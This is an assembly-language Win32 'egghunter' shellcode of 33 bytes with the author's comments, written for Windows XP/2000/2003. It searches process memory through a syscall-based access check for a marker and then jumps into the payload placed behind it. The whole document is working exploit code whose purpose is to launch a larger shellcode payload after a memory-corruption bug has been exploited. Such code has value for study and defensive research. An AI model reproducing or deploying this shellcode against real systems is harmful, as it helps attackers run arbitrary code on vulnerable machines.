Win32 Eggsearch Shellcode

`; win32 eggsearch shellcode, 33 bytes  
; tested on windows xp sp2, should work on all service packs on win2k, win xp, win2k3  
; (c) 2009 by Georg 'oxff' Wicherski  
  
[bits 32]  
  
marker equ 0x1f217767 ; 'gw!\x1f'  
  
start:  
xor edx, edx ; edx = 0, pointer to examined address  
  
address_loop:  
inc edx ; edx++, try next address  
  
pagestart_check:  
test dx, 0x0ffc ; are we within the first 4 bytes of a page?  
jz address_loop ; if so, try next address as previous page might be unreadable  
; and the cmp [edx-4], marker might result in a segmentation fault  
  
access_check:  
push edx ; save across syscall  
push byte 8 ; eax = 8, syscall nr of AddAtomA  
pop eax ; ^  
int 0x2e ; fire syscall (eax = 8, edx = ptr)  
cmp al, 0x05 ; is result 0xc0000005? (a bit sloppy)  
pop edx ;  
  
je address_loop ; jmp if result was 0xc0000005  
  
egg_check:  
cmp dword [edx-4], marker ; is our egg right before examined address?  
jne address_loop ; if not, try next address  
  
egg_execute:  
inc ebx ; make sure, zf is not set  
jmp edx ; we found our egg at [edx-4], so we can jmp to edx  
  
`